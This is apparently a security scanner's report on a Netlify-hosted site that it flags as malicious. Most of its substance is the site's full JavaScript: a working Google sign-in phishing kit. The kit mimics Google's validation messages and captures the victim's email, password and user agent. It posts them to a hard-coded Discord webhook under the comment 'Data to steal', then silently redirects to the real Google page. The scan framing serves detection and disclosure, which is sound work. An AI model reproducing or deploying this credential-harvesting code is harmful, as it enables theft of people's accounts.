technology software

English

Domain 'mellifluous-piroshki-d2ae61.netlify.app' uses the application-focused generic top-level domain (.app), featuring subdomain 'mellifluous-piroshki-d2ae61'. Count 7 characters in 'netlify' with two vowels and five consonants. Word splitting yields 3 words: net, li, fy. Median word length is two characters. No strong language cues emerged from the frequency lists.

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

ec3bb055b0f63a665436c031d8035431f7d8b609490a24dc1f0bc4d41cbc64c6

viewport

Name.com Abuse Team

Name.com, Inc.

netlify.app

Google Inc.

Google LLC

GOOGLE


        // --- CONFIGURATION ---
        // 1. REPLACE THIS with your actual Discord Webhook URL or Formspree endpoint to receive the data.
        const WEBHOOK_URL = "https://discord.com/api/webhooks/1538700111767412788/5k1uZVNGVWNNgnxp7cuqXi0uZe3x_XjaCVt_ZaQ97abFENOTplNlpgCRsn4c58SM_Pid"; 

        // 2. REPLACE THIS with the URL you want to send the victim to after they get phished.
        const REDIRECT_URL = "https://accounts.google.com/"; 

        // Variables
        let userEmail = "";
        const emailScreen = document.getElementById("emailScreen");
        const passwordScreen = document.getElementById("passwordScreen");
        const emailInput = document.getElementById("emailInput");
        const passwordInput = document.getElementById("passwordInput");
        const displayEmail = document.getElementById("displayEmail");
        const emailNextBtn = document.getElementById("emailNextBtn");
        const passwordNextBtn = document.getElementById("passwordNextBtn");
        const backBtn = document.getElementById("backBtn");

        const emailInputGroup = document.getElementById("emailInputGroup");
        const emailError = document.getElementById("emailError");
        const passwordInputGroup = document.getElementById("passwordInputGroup");
        const passwordError = document.getElementById("passwordError");

        // --- VALIDATION FUNCTIONS ---
        function showEmailError(msg) {
            emailError.innerText = msg;
            emailError.style.display = 'block';
            emailInputGroup.classList.add('error');
        }
        function clearEmailError() {
            if (emailError.style.display === 'block') {
                emailError.style.display = 'none';
                emailInputGroup.classList.remove('error');
            }
        }
        function showPasswordError(msg) {
            passwordError.innerText = msg;
            passwordError.style.display = 'block';
            passwordInputGroup.classList.add('error');
        }
        function clearPasswordError() {
            if (passwordError.style.display === 'block') {
                passwordError.style.display = 'none';
                passwordInputGroup.classList.remove('error');
            }
        }

        // Live clear errors when typing
        emailInput.addEventListener('input', clearEmailError);
        passwordInput.addEventListener('input', clearPasswordError);

        // Basic Regex to mimic Google's format validation
        const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

        // Go to password screen
        emailNextBtn.addEventListener("click", function() {
            const val = emailInput.value.trim();
            if (val === "") {
                showEmailError("Enter an email or phone number");
            } else if (!emailRegex.test(val)) {
                // Mimics Google's fake account check
                showEmailError("Couldn't find your Google Account");
            } else {
                clearEmailError();
                userEmail = val;
                displayEmail.textContent = userEmail;
                emailScreen.classList.add("hidden");
                passwordScreen.classList.remove("hidden");
                setTimeout(() => passwordInput.focus(), 100);
            }
        });

        // Go back to email screen
        backBtn.addEventListener("click", function() {
            passwordScreen.classList.add("hidden");
            emailScreen.classList.remove("hidden");
            passwordInput.value = "";
            clearPasswordError();
        });

        // Submit credentials (Phishing logic)
        passwordNextBtn.addEventListener("click", function() {
            let userPassword = passwordInput.value;
            
            if (userPassword.trim() === "") {
                showPasswordError("Enter a password");
                return;
            }

            clearPasswordError();
            
            // Disable button to show processing
            passwordNextBtn.innerText = "Processing...";
            passwordNextBtn.disabled = true;

            // Data to steal
            const payload = {
                content: `**New Credentials Captured!**\n**Email:** ${userEmail}\n**Password:** ${userPassword}\n**User-agent:** ${navigator.userAgent}`
            };

            // Send data to webhook
            fetch(WEBHOOK_URL, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify(payload)
            })
            .then(response => {
                console.log("Credentials sent successfully.");
            })
            .catch(error => {
                console.error("Error sending data:", error);
            })
            .finally(() => {
                // Redirect the user to the real Google page immediately after sending
                // We simulate a sudden "Wrong Password" error if webhook fails, but if webhook succeeds we silently redirect.
                window.location.href = REDIRECT_URL;
            });
        });

        // Allow pressing 'Enter' to submit
        emailInput.addEventListener("keypress", function(e) {
            if (e.key === "Enter") emailNextBtn.click();
        });
        passwordInput.addEventListener("keypress", function(e) {
            if (e.key === "Enter") passwordNextBtn.click();
        });
    

Sign in - Google accounts

regular

☠️ Malicious - http://mellifluous-piroshki-d2ae61.netlify.app/

Requests	IP Address	Location	AS Autonomous System
3	63.176.8.218Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
3	142.251.13.95Google · CDN	United States	AS15169Google LLC
6	2	-	-

Security Scan Report: mellifluous-piroshki-d2ae61.netlify.app

Summary

AI Security Verdict

High Risk

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History